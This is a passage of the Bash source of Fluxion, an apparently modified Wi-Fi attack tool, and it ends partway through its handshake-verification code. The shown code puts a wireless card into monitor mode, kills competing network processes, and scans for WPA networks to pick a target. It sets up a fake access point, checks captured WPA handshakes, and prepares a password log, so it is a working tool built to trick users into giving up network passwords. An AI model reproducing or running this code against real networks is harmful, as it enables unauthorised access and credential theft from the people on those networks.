########## DEBUG Mode ##########
if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0
    else FLUX_DEBUG=1
fi
################################

####### preserve network #######
if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0
    else KEEP_NETWORK=1
fi
################################

###### AUTO CONFIG SETUP #######
if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0
    else FLUX_AUTO=1
fi
################################

if [[ $EUID -ne 0 ]]; then
        echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m"""
        exit 1
fi

if [ -z "${DISPLAY:-}" ]; then
    echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m"""
    exit 1
fi

clear

##################################### < CONFIGURATION  > #####################################
DUMP_PATH="/tmp/TMPflux"
HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR=`pwd`
DEAUTHTIME="9999999999999"
revision=9
version=2
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)

#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
transparent="\e[0m"

general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using fluxion"
#############################################################################################

# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode]
if [ $FLUX_DEBUG = 1 ]; then
        ## Developer Mode
        export flux_output_device=/dev/stdout
        HOLD="-hold"
else
        ## Normal Mode
        export flux_output_device=/dev/null
        HOLD=""
fi

# Delete Log only in Normal Mode !
function conditional_clear() {

        if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
}

function airmon {
        chmod +x lib/airmon/airmon.sh
}
airmon

# Check Updates
function checkupdatess {

        revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)"
        if [ -z "$revision_online" ]; then
                echo "?">$DUMP_PATH/Irev
        else
                echo "$revision_online">$DUMP_PATH/Irev
        fi

}

# Animation
function spinner {

        local pid=$1
        local delay=0.15
        local spinstr='|/-\'
                while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
                        local temp=${spinstr#?}
                        printf " [%c]  " "$spinstr"
                        local spinstr=$temp${spinstr%"$temp"}
                        sleep $delay
                        printf "\b\b\b\b\b\b"
                done
        printf "    \b\b\b\b"
}

# ERROR Report only in Developer Mode
function err_report {
        echo "Error on line $1"
}

if [ $FLUX_DEBUG = 1 ]; then
        trap 'err_report $LINENUM' ERR
fi

#Function to executed in case of unexpected termination
trap exitmode SIGINT SIGHUP

source lib/exitmode.sh

#Languages for the web interface
source language/source

# Design
function top(){

        conditional_clear
        echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
        echo -e "$red[                                                      ]"
  echo -e "$red[  $red    FLUXION $version" "${yellow} ${red}  < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture >     "              ${blue}"    ]"
        echo -e "$blue[                                                      ]"
        echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
        echo
        echo

}

############################################## < START > ##############################################

# Check requirements
function checkdependences {

        echo -ne "aircrack-ng....."
        if ! hash aircrack-ng 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "aireplay-ng....."
        if ! hash aireplay-ng 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "airmon-ng......."
        if ! hash airmon-ng 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "airodump-ng....."
        if ! hash airodump-ng 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "awk............."
        if ! hash awk 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "curl............"
        if ! hash curl 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "dhcpd..........."
        if ! hash dhcpd 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "hostapd........."
        if ! hash hostapd 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "iwconfig........"
        if ! hash iwconfig 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "lighttpd........"
        if ! hash lighttpd 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "macchanger......"
        if ! hash macchanger 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
            echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "mdk3............"
        if ! hash mdk3 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1

        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "nmap............"
        if ! [ -f /usr/bin/nmap ]; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "php-cgi........."
        if ! [ -f /usr/bin/php-cgi ]; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "pyrit..........."
        if ! hash pyrit 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "python.........."
        if ! hash python 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "unzip..........."
        if ! hash unzip 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "xterm..........."
        if ! hash xterm 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "openssl........."
        if ! hash openssl 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "rfkill.........."
        if ! hash rfkill 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent""
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "strings........."
        if ! hash strings 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent" (binutils)"
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025

        echo -ne "fuser..........."
        if ! hash fuser 2>/dev/null; then
                echo -e "\e[1;31mNot installed"$transparent" (psmisc)"
                exit=1
        else
                echo -e "\e[1;32mOK!"$transparent""
        fi
        sleep 0.025



        if [ "$exit" = "1" ]; then
        exit 1
        fi

        sleep 1
        clear
}
top
checkdependences

# Create working directory
if [ ! -d $DUMP_PATH ]; then
        mkdir -p $DUMP_PATH &>$flux_output_device
fi

# Create handshake directory
if [ ! -d $HANDSHAKE_PATH ]; then
        mkdir -p $HANDSHAKE_PATH &>$flux_output_device
fi

#create password log directory
if [ ! -d $PASSLOG_PATH ]; then
        mkdir -p $PASSLOG_PATH &>$flux_output_device
fi



if [ $FLUX_DEBUG != 1 ]; then
        clear; echo ""
                   sleep 0.01 && echo -e "$red "
           sleep 0.01 && echo -e "         ⌠▓▒▓▒   ⌠▓╗     ⌠█┐ ┌█   ┌▓\  /▓┐   ⌠▓╖   ⌠◙▒▓▒◙   ⌠█\  ☒┐    "
           sleep 0.01 && echo -e "         ║▒_     │▒║     │▒║ ║▒    \▒\/▒/    │☢╫   │▒┌╤┐▒   ║▓▒\ ▓║    "
           sleep 0.01 && echo -e "         ≡◙◙     ║◙║     ║◙║ ║◙      ◙◙      ║¤▒   ║▓║☯║▓   ♜◙\✪\◙♜    "
           sleep 0.01 && echo -e "         ║▒      │▒║__   │▒└_┘▒    /▒/\▒\    │☢╫   │▒└╧┘▒   ║█ \▒█║    "
           sleep 0.01 && echo -e "         ⌡▓      ⌡◘▒▓▒   ⌡◘▒▓▒◘   └▓/  \▓┘   ⌡▓╝   ⌡◙▒▓▒◙   ⌡▓  \▓┘    "
           sleep 0.01 && echo -e "        ¯¯¯     ¯¯¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯    ¯¯¯ ¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯¯¯¯¯¯  "

        echo""

        sleep 0.1
        echo -e $red"                     FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"modified by "$white"Mr SAGE"
        sleep 0.1
        echo -e $green "           Page:"$red"https://github.com/thehackingsage/Fluxion  "$transparent
        sleep 0.1
        echo -n "                              Latest rev."
        tput civis
        checkupdatess &
        spinner "$!"
        revision_online=$(cat $DUMP_PATH/Irev)
        echo -e ""$white" [${purple}${revision_online}$white"$transparent"]"
                if [ "$revision_online" != "?" ]; then

                        if [ "$revision" -lt "$revision_online" ]; then
                                echo
                                echo
                                echo -ne $red"            New revision found! "$yellow
                                echo -ne "Update? [Y/n]: "$transparent
                                read -N1 doupdate
                                echo -ne "$transparent"
                                doupdate=${doupdate:-"Y"}

                            if [ "$doupdate" = "Y" ]; then
                                cp $0 $HOME/flux_rev-$revision.backup
                                curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0
                                echo
                                echo
                                echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent""
                                sleep 3
                                chmod +x $0
                                exec $0
                                exit
                            fi
                        fi
                fi
        echo ""
        tput cnorm
        sleep 1

fi

# Show info for the selected AP
function infoap {

        Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
        Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-`
        echo "INFO WIFI"
        echo
        echo -e "               "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC"
        echo -e "               "$blue"Channel"$transparent" = $channel"
        echo -e "               "$blue"Speed"$transparent" = ${speed:2} Mbps"
        echo -e "               "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)"
        echo
}
############################################### < MENU > ###############################################

# Windows + Resolution
function setresolution {

        function resA {

                TOPLEFT="-geometry 90x13+0+0"
                TOPRIGHT="-geometry 83x26-0+0"
                BOTTOMLEFT="-geometry 90x24+0-0"
                BOTTOMRIGHT="-geometry 75x12-0-0"
                TOPLEFTBIG="-geometry 91x42+0+0"
                TOPRIGHTBIG="-geometry 83x26-0+0"
        }

        function resB {

                TOPLEFT="-geometry 92x14+0+0"
                TOPRIGHT="-geometry 68x25-0+0"
                BOTTOMLEFT="-geometry 92x36+0-0"
                BOTTOMRIGHT="-geometry 74x20-0-0"
                TOPLEFTBIG="-geometry 100x52+0+0"
                TOPRIGHTBIG="-geometry 74x30-0+0"
        }
        function resC {

                TOPLEFT="-geometry 100x20+0+0"
                TOPRIGHT="-geometry 109x20-0+0"
                BOTTOMLEFT="-geometry 100x30+0-0"
                BOTTOMRIGHT="-geometry 109x20-0-0"
                TOPLEFTBIG="-geometry  100x52+0+0"
                TOPRIGHTBIG="-geometry 109x30-0+0"
        }
        function resD {
                TOPLEFT="-geometry 110x35+0+0"
                TOPRIGHT="-geometry 99x40-0+0"
                BOTTOMLEFT="-geometry 110x35+0-0"
                BOTTOMRIGHT="-geometry 99x30-0-0"
                TOPLEFTBIG="-geometry 110x72+0+0"
                TOPRIGHTBIG="-geometry 99x40-0+0"
        }
        function resE {
                TOPLEFT="-geometry 130x43+0+0"
                TOPRIGHT="-geometry 68x25-0+0"
                BOTTOMLEFT="-geometry 130x40+0-0"
                BOTTOMRIGHT="-geometry 132x35-0-0"
                TOPLEFTBIG="-geometry 130x85+0+0"
                TOPRIGHTBIG="-geometry 132x48-0+0"
        }
        function resF {
                TOPLEFT="-geometry 100x17+0+0"
                TOPRIGHT="-geometry 90x27-0+0"
                BOTTOMLEFT="-geometry 100x30+0-0"
                BOTTOMRIGHT="-geometry 90x20-0-0"
                TOPLEFTBIG="-geometry  100x70+0+0"
                TOPRIGHTBIG="-geometry 90x27-0+0"
}

detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
##  A) 1024x600
##  B) 1024x768
##  C) 1280x768
##  D) 1280x1024
##  E) 1600x1200
case $detectedresolution in
        "1024x600" ) resA ;;
        "1024x768" ) resB ;;
        "1280x768" ) resC ;;
        "1366x768" ) resC ;;
        "1280x1024" ) resD ;;
        "1600x1200" ) resE ;;
        "1366x768"  ) resF ;;
                  * ) resA ;;
esac

language; setinterface
}

function language {

    iptables-save > $DUMP_PATH/iptables-rules
    conditional_clear

if [ "$FLUX_AUTO" =  "1" ];then
        source $WORK_DIR/language/en; setinterface

else

        while true; do
                conditional_clear
                top

                echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language"
                echo "                                       "
                echo -e "      "$red"["$yellow"1"$red"]"$grey" English          "
                echo -e "      "$red"["$yellow"2"$red"]"$transparent" German      "
                echo -e "      "$red"["$yellow"3"$red"]"$transparent" Romanian     "
                echo -e "      "$red"["$yellow"4"$red"]"$transparent" Turkish    "
                echo -e "      "$red"["$yellow"5"$red"]"$transparent" Spanish    "
                echo -e "      "$red"["$yellow"6"$red"]"$transparent" Chinese   "
                echo -e "      "$red"["$yellow"7"$red"]"$transparent" Italian   "
                echo -e "      "$red"["$yellow"8"$red"]"$transparent" Czech   "
                echo -e "      "$red"["$yellow"9"$red"]"$transparent" Greek   "
                echo -e "      "$red"["$yellow"10"$red"]"$transparent" French     "
                echo -e "      "$red"["$yellow"11"$red"]"$transparent" Slovenian "
                echo "                                       "
                echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                read yn
                echo ""
                case $yn in
                    1 ) source $WORK_DIR/language/en;  break;;
                    2 ) source $WORK_DIR/language/ger; break;;
                    3 ) source $WORK_DIR/language/ro;  break;;
                    4 ) source $WORK_DIR/language/tu;  break;;
                    5 ) source $WORK_DIR/language/esp; break;;
                    6 ) source $WORK_DIR/language/ch;  break;;
                    7 ) source $WORK_DIR/language/it;  break;;
                    8 ) source $WORK_DIR/language/cz   break;;
                    9 ) source $WORK_DIR/language/gr;  break;;
                    10 ) source $WORK_DIR/language/fr; break;;
                    11 ) source $WORK_DIR/language/svn; break;;
                    * ) echo "Unknown option. Please choose again"; conditional_clear ;;
                  esac
        done
fi

}

# Choose Interface
function setinterface {

  conditional_clear
        top
        #unblock interfaces
        rfkill unblock all

        # Collect all interfaces in montitor mode & stop all
        KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`

        for monkill in ${KILLMONITOR[@]}; do
                airmon-ng stop $monkill >$flux_output_device
                echo -n "$monkill, "
        done

        # Create a variable with the list of physical network interfaces
        readarray -t wirelessifaces < <(./lib/airmon/airmon.sh    |grep "-" | cut -d- -f1)
        INTERFACESNUMBER=`./lib/airmon/airmon.sh   | grep -c "-"`


        if [ "$INTERFACESNUMBER" -gt "0" ]; then

                if [ "$INTERFACESNUMBER" -eq "1" ]; then
                        PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}')
                else
                        echo $header_setinterface
                        echo
                        i=0

                        for line in "${wirelessifaces[@]}"; do
                                i=$(($i+1))
                                wirelessifaces[$i]=$line
                                echo -e "      "$red"["$yellow"$i"$red"]"$transparent" $line"
                        done

                        if [ "$FLUX_AUTO" = "1" ];then
                                line="1"
                        else
                                echo
                                echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                                read line
                        fi

                        PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')

                fi

                if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
                        conditional_clear
                        top
                        setinterface
                fi

                readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
                WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}')

                if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
                rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1
                fi

                if [ $KEEP_NETWORK = 0 ]; then

                for nagger in "${naggysoftware[@]}"; do
                        killall "$nagger" &>$flux_output_device
                done
                sleep 0.5

                fi

                if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
                modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1
                sleep 0.5
                fi

                # Select Wifi Interface
                select PREWIFI in $INTERFACES; do
                        break;
                done

                WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
                WIFI_MONITOR=$WIFIMONITOR
                WIFI=$PREWIFI

                #No wireless cards
        else

                echo $setinterface_error
                sleep 5
                exitmode
        fi

        ghost
}

# Check files
function ghost {

        conditional_clear
        CSVDB=dump-01.csv

        rm -rf $DUMP_PATH/*

        choosescan
        selection
}

# Select channel
function choosescan {


        if [ "$FLUX_AUTO" = "1" ];then
                Scan
        else
         conditional_clear
                while true; do
                        conditional_clear
                        top

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1          "
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2       "
                        echo -e "      "$red"["$yellow"3"$red"]"$red" $general_back       " $transparent
                        echo "                                       "
                        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                        read yn
                        echo ""
                        case $yn in
                                1 ) Scan ; break ;;
                                2 ) Scanchan ; break ;;
                                3 ) setinterface; break;;
                                * ) echo "Unknown option. Please choose again"; conditional_clear ;;
                          esac
                done
        fi
}

# Choose your channel if you choose option 2 before
function Scanchan {

        conditional_clear
        top

          echo "                                       "
          echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan     "
          echo "                                       "
          echo -e "     $scanchan_option_1 "$blue"6"$transparent"               "
          echo -e "     $scanchan_option_2 "$blue"1-5"$transparent"             "
          echo -e "     $scanchan_option_2 "$blue"1,2,5-7,11"$transparent"      "
          echo "                                       "
        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
        read channel_number
        set -- ${channel_number}
        conditional_clear

        rm -rf $DUMP_PATH/dump*
        xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one
}

# Scans the entire network
function Scan {

        conditional_clear
        rm -rf $DUMP_PATH/dump*

        if [ "$FLUX_AUTO" = "1" ];then
                sleep 30 && killall xterm &
        fi
        xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one

}

# Choose a network
function selection {

        conditional_clear
        top


        LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`

        if [ "$LINEAS_WIFIS_CSV" = "" ];then
                conditional_clear
                top
                echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card  isn't supported  "
                echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":"
                read back
                if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then
                        clear && exitmode

                elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then
                        clear && setinterface
                fi

        fi

        if [ $LINEAS_WIFIS_CSV -le 3 ]; then
                ghost && break
        fi

        fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
        fluxionap=`expr $fluxionap - 1`
        head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
        tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
        echo "                        WIFI LIST "
        echo ""
        echo " ID      MAC                      CHAN    SECU     PWR   ESSID"
        echo ""
        i=0

        while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
                longueur=${#MAC}
                PRIVACY=$(echo $PRIVACY| tr -d "^ ")
                PRIVACY=${PRIVACY:0:4}
                if [ $longueur -ge 17 ]; then
                        i=$(($i+1))
                        POWER=`expr $POWER + 100`
                        CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`

                        if [ "$CLIENTE" != "" ]; then
                                CLIENTE="*"
                        echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t  ""$red"$POWER%"\t""$red "$ESSID""$transparent""

                        else

                        echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t  ""$yellow"$POWER%"\t""$green "$ESSID""$transparent""

                        fi

                        aidlength=$IDLENGTH
                        assid[$i]=$ESSID
                        achannel[$i]=$CHANNEL
                        amac[$i]=$MAC
                        aprivacy[$i]=$PRIVACY
                        aspeed[$i]=$SPEED
                fi
        done < $DUMP_PATH/dump-02.csv

        # Select the first network if you select the first network
        if [ "$FLUX_AUTO" = "1" ];then
                choice=1
        else
                echo
                echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent""
                echo ""
                echo -e "        $selection_2"
                echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                read choice
        fi

        if [[ $choice -eq "r" ]]; then
                ghost
        fi

        idlength=${aidlength[$choice]}
        ssid=${assid[$choice]}
        channel=$(echo ${achannel[$choice]}|tr -d [:space:])
        mac=${amac[$choice]}
        privacy=${aprivacy[$choice]}
        speed=${aspeed[$choice]}
        Host_IDL=$idlength
        Host_SPEED=$speed
        Host_ENC=$privacy
        Host_MAC=$mac
        Host_CHAN=$channel
        acouper=${#ssid}
        fin=$(($acouper-idlength))
        Host_SSID=${ssid:1:fin}
        Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'`
        conditional_clear

        askAP
}


# FakeAP
function askAP {

        DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`

        if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
                selection && break
        fi

        if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then
                fakeapmode="airbase-ng"
                askauth
        fi

        if [ "$FLUX_AUTO" = "1" ];then
                fakeapmode="hostapd"; authmode="handshake"; handshakelocation
        else
                top
                while true; do

                        infoap

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" $askAP_option_1"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2"
                        echo -e "      "$red"["$yellow"3"$red"]"$red" $general_back" $transparent
                        echo "                                       "
                        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                        read yn
                        echo ""
                        case $yn in
                                1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;;
                                2 ) fakeapmode="airbase-ng"; askauth; break ;;
                                3 ) selection; break ;;
                                * ) echo "$general_case_error"; conditional_clear ;;
                        esac
                done
        fi
}

# Test Passwords / airbase-ng
function askauth {

        if [ "$FLUX_AUTO" = "1" ];then
                authmode="handshake"; handshakelocation
        else
                conditional_clear

                top
                while true; do

                        echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth"
                        echo "                                       "
                        echo -e "      "$red"["$yellow"1"$red"]"$grey" $askauth_option_1"
                        echo -e "      "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2"
                        echo -e "      "$red"["$yellow"3"$red"]"$red" $general_back" $transparent
                        echo "                                       "
                        echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
                        read yn
                        echo ""
                        case $yn in
                                1 ) authmode="handshake"; handshakelocation; break ;;
                                2 ) authmode="wpa_supplicant";  webinterface; break ;;
                                3 ) askAP; break ;;
                                * ) echo "$general_case_error"; conditional_clear ;;
                        esac
                done
        fi
}

function handshakelocation {

        conditional_clear

        top
        infoap
        if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then
                echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes."
                echo -e "${red}Do you want to use this file? (y/N)"
                echo -ne "$transparent"

                if [ "$FLUX_AUTO" = "0" ];then
                        read usehandshakefile
                fi

                if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then
                        handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap"
                fi
        fi
        if [ "$handshakeloc" = "" ]; then
                echo
                echo -e "handshake location  (Example: $red$WORK_DIR.cap$transparent)"
                echo -e "Press ${yellow}ENTER$transparent to skip"
                echo
                echo -ne "Path: "

                if [ "$FLUX_AUTO" = "0" ];then
                        read handshakeloc
                fi

        fi
                if [ "$handshakeloc" = "" ]; then
                        deauthforce
                else
                        if [ -f "$handshakeloc" ]; then
                                pyrit -r "$handshakeloc" analyze &>$flux_output_device
                                pyrit_broken=$?

                                if [ $pyrit_broken = 0 ]; then
                                Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
                                Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
                                else
                                        Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}')
                                        Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}')
                                fi


                                if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
                                        if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
                                                cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
                                                certssl
                                        else
                                        echo -e $yellow "Corrupted handshake" $transparent
                                        echo
                                        sleep 2
                                        echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]"
                                        echo

                                        read handshakeloc_aircrack
                                        echo -ne "$transparent"
                                        if [ "$handshakeloc_aircrack" = "" ]; then
                                                handshakelocation
                                        else
                                                if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then
                                                        cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
                                                        certssl
                                                else
                                                        echo "Corrupted handshake"
                                                        sleep 2
                                                        handshakelocation
                                                fi
                                        fi
                                        fi
                                else
                                        echo -e "${red}$general_error_1$transparent!"
                                        echo
                                        echo -e "File ${red}MAC$transparent"

                                        readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#")
                                                for i in "${lista_loc[@]}"; do
